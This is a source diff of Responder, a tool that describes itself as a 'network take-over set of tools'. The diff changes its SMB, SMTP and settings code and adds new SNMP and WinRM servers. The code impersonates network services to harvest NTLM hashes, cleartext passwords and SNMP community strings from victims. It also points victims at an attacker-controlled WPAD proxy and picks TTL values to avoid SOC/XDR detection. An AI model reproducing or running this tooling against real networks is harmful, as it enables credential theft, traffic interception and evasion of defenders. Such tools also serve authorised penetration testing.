if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
|
@ -238,9 +237,13 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
@ -248,7 +251,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
|
||||
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
|
||||
Body.calculate()
|
||||
|
@ -265,7 +268,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
else:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Body.calculate()
|
||||
|
@ -279,7 +282,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
|
||||
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
packet1 = str(Header)+str(Body)
|
||||
|
@ -333,10 +336,10 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(1024)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0] == b"\x81": #session request 139
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -358,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
|||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
|
|
@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try: Password = b64decode(data)
|
||||
try: Password = b64decode(data).decode('latin-1')
|
||||
except: Password = data
|
||||
|
||||
SaveToDb({
|
||||
|
|
62
servers/SNMP.py
Executable file
62
servers/SNMP.py
Executable file
|
@ -0,0 +1,62 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from binascii import hexlify
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
class SNMP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data = self.request[0]
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
|
||||
snmp_version = int(received_record['field-0'])
|
||||
|
||||
if snmp_version == 3:
|
||||
full_snmp_msg = hexlify(data).decode('utf-8')
|
||||
received_record_inner, _ = decode(received_record['field-2'])
|
||||
snmp_user = str(received_record_inner['field-3'])
|
||||
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
|
||||
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
|
||||
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client" : self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
})
|
||||
else:
|
||||
community_string = str(received_record['field-1'])
|
||||
snmp_version = '1' if snmp_version == 0 else '2c'
|
||||
|
||||
SaveToDb(
|
||||
{
|
||||
"module": "SNMP",
|
||||
"type": "Cleartext SNMPv{}".format(snmp_version),
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
}
|
||||
)
|
184
servers/WinRM.py
Normal file
184
servers/WinRM.py
Normal file
|
@ -0,0 +1,184 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import codecs
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode, b64encode
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data, Challenge, client, module):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen]
|
||||
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
|
||||
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': User,
|
||||
'hash': LMHashFinal+':'+NTHashFinal,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain + '\\' + User,
|
||||
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client, Challenge):
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
|
||||
if NTLM_Auth or NTLM_Auth2:
|
||||
if NTLM_Auth2:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == b'\x01':
|
||||
Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
if NTLM_Auth2:
|
||||
Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
return Buffer_Ans
|
||||
else:
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
if NTLM_Auth2:
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
|
||||
else:
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
|
||||
elif Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'WinRM',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
})
|
||||
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
r = IIS_Basic_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
r = IIS_Auth_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return Response
|
||||
|
||||
# HTTP Server class
|
||||
class WinRM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
Challenge = RandomChallenge()
|
||||
while True:
|
||||
self.request.settimeout(3)
|
||||
remaining = 10*1024*1024 #setting max recieve size
|
||||
data = ''
|
||||
while True:
|
||||
buff = ''
|
||||
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||
if buff == '':
|
||||
break
|
||||
data += buff
|
||||
remaining -= len(buff)
|
||||
#check if we recieved the full header
|
||||
if data.find('\r\n\r\n') != -1:
|
||||
#we did, now to check if there was anything else in the request besides the header
|
||||
if data.find('Content-Length') == -1:
|
||||
#request contains only header
|
||||
break
|
||||
else:
|
||||
#searching for that content-length field in the header
|
||||
for line in data.split('\r\n'):
|
||||
if line.find('Content-Length') != -1:
|
||||
line = line.strip()
|
||||
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||
if remaining <= 0:
|
||||
break
|
||||
if data == "":
|
||||
break
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
except:
|
||||
self.request.close()
|
||||
pass
|
||||
|
251
settings.py
251
settings.py
|
@ -14,7 +14,7 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import utils, sys
|
||||
import utils, sys, random
|
||||
if (sys.version_info > (3, 0)):
|
||||
import configparser as ConfigParser
|
||||
else:
|
||||
|
@ -23,7 +23,7 @@ import subprocess
|
|||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.0.4.0'
|
||||
__version__ = 'Responder 3.1.6.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
|
@ -42,25 +42,56 @@ class Settings:
|
|||
return str.upper() == 'ON'
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
def expand_ranges(lst):
|
||||
ret = []
|
||||
for l in lst:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses
|
||||
while l.count(':') < 7:
|
||||
pos = l.find('::')
|
||||
l = l[:pos] + ':' + l[pos:]
|
||||
tab = l.split(':')
|
||||
x = {}
|
||||
i = 0
|
||||
xaddr = ''
|
||||
for byte in tab:
|
||||
if byte == '':
|
||||
byte = '0'
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte, base=16)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0], base=16)
|
||||
x[i+1] = int(b[1], base=16)
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
for e in range(x[8], x[9]+1):
|
||||
for f in range(x[10], x[11]+1):
|
||||
for g in range(x[12], x[13]+1):
|
||||
for h in range(x[14], x[15]+1):
|
||||
xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h))
|
||||
xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address
|
||||
xaddr = re.sub(':{3,7}', '::', xaddr, count = 7)
|
||||
ret.append(xaddr)
|
||||
else:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
return ret
|
||||
|
||||
self.RespondTo = expand_ranges(self.RespondTo)
|
||||
|
@ -68,7 +99,7 @@ class Settings:
|
|||
|
||||
def populate(self, options):
|
||||
|
||||
if options.Interface is None and utils.IsOsX() is False:
|
||||
if options.Interface == None and utils.IsOsX() == False:
|
||||
print(utils.color("Error: -I <if> mandatory option is missing", 1))
|
||||
sys.exit(-1)
|
||||
|
||||
|
@ -84,19 +115,29 @@ class Settings:
|
|||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||
|
||||
# Poisoners
|
||||
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
|
||||
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
|
||||
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
|
||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
|
||||
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
|
||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
|
||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
|
||||
|
||||
# Db File
|
||||
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
||||
|
@ -112,14 +153,93 @@ class Settings:
|
|||
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
||||
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
||||
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.NOESS_On_Off = options.NOESS_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.DHCP_On_Off = options.DHCP_On_Off
|
||||
self.Basic = options.Basic
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
||||
self.DHCP_DNS = options.DHCP_DNS
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
self.ErrorCode = options.ErrorCode
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
|
||||
if options.TTL is None:
|
||||
self.TTL = None
|
||||
|
||||
# Random TTL
|
||||
elif options.TTL.upper() == "RANDOM":
|
||||
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
|
||||
if TTL in TTL_blacklist:
|
||||
TTL = int.from_bytes(TTL, "big")+1
|
||||
TTL = int.to_bytes(TTL, 4)
|
||||
self.TTL = TTL.decode('utf-8')
|
||||
else:
|
||||
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
|
||||
|
||||
#Do we have IPv6 for real?
|
||||
self.IPv6 = utils.Probe_IPv6_socket()
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.Bind_To_ALL = True
|
||||
else:
|
||||
self.Bind_To_ALL = False
|
||||
#IPV4
|
||||
if self.Interface == "ALL":
|
||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||
else:
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
#IPV6
|
||||
if self.Interface == "ALL":
|
||||
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
|
||||
else:
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
|
||||
|
||||
#External IP
|
||||
if self.ExternalIP:
|
||||
if utils.IsIPv6IP(self.ExternalIP):
|
||||
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
|
||||
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
self.ExternalResponderIP = utils.RespondWithIP()
|
||||
else:
|
||||
self.ExternalResponderIP = self.Bind_To
|
||||
|
||||
#External IPv6
|
||||
if self.ExternalIP6:
|
||||
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
|
||||
self.ExternalResponderIP6 = utils.RespondWithIP6()
|
||||
else:
|
||||
self.ExternalResponderIP6 = self.Bind_To6
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
|
||||
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
|
||||
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
|
||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
|
||||
|
||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||
|
@ -142,12 +262,22 @@ class Settings:
|
|||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||
|
||||
if self.Serve_Exe is True:
|
||||
if len(self.HtmlToInject) == 0:
|
||||
self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||
|
||||
if len(self.WPAD_Script) == 0:
|
||||
if self.WPAD_On_Off:
|
||||
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
|
||||
|
||||
if self.ProxyAuth_On_Off:
|
||||
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
|
||||
|
||||
if self.Serve_Exe == True:
|
||||
if not os.path.exists(self.Html_Filename):
|
||||
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||
|
@ -157,51 +287,25 @@ class Settings:
|
|||
